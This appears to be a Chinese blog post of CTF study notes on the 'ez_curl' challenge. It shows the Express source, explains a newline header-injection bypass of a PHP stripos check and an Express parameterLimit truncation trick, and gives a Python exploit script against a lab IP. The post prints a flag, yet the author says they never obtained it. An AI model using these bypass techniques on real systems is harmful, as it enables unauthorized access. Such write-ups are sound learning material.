CTF笔记

[学习笔记]攻防世界—ez_curl

2025-03-23
1 分钟113 字

下载附件,查看信息

const express = require('express');
 
const app = express();
 
const port = 3000;
const flag = process.env.flag;
 
app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});
 
app.listen({ port: port , host: '0.0.0.0'});

看代码,我们只需要构建headers头包含admin:true和params参数头不包含false即可绕过判断,我们打开网站看看

这段 PHP 代码会转换输入的 headers头 为数组,然后循环遍历每个头部,检查是否有以 admin 为关键字且值为 true 的头部,然后从输入中提取 params 参数,将其转化成字符串,追加到 url 后面,同时在后面追加 &admin=false

这里我们要用到两个知识点:

第一个, PHPstripos()方法 只匹配 当前字符串 ,也就是说,我们只要在admin前面加上\n进行换行,他就检测不到了

第二个, expressparameterLimit 默认为 1000 ,也就是说,只要我们在params后面追加999个参数,后面追加的 &admin=false 就会被舍弃

最终构造脚本

import json
import requests
 
url = "http://61.147.171.105:63522/"
data = {"headers": ["aa:aa\nadmin:true", "Content-Type: application/json"],
        "params": {"admin": "true"}}
 
for i in range(999):
    data["params"]["a" + str(i)] = i
 
j = json.dumps(data)
headers = {"Content-Type": "application/json"}
 
r = requests.post(url, headers=headers, data=j)
print(r.content)

运行脚本,获取flag

CatCTF{23aaaab824aadf15eb19f4236f3e3b51}

我并没有得到flag,可能是靶场的文件丢失了,我也尝试过其他人的脚本,都没有正确获取

参考链接: https://blog.csdn.net/aa2528877987/article/details/131189077

许可协议: CC BY-SA 4.0 。转载请注明出处,允许商用;改编/转载须以相同许可(CC BY-SA 4.0)发布。如有问题请联系我。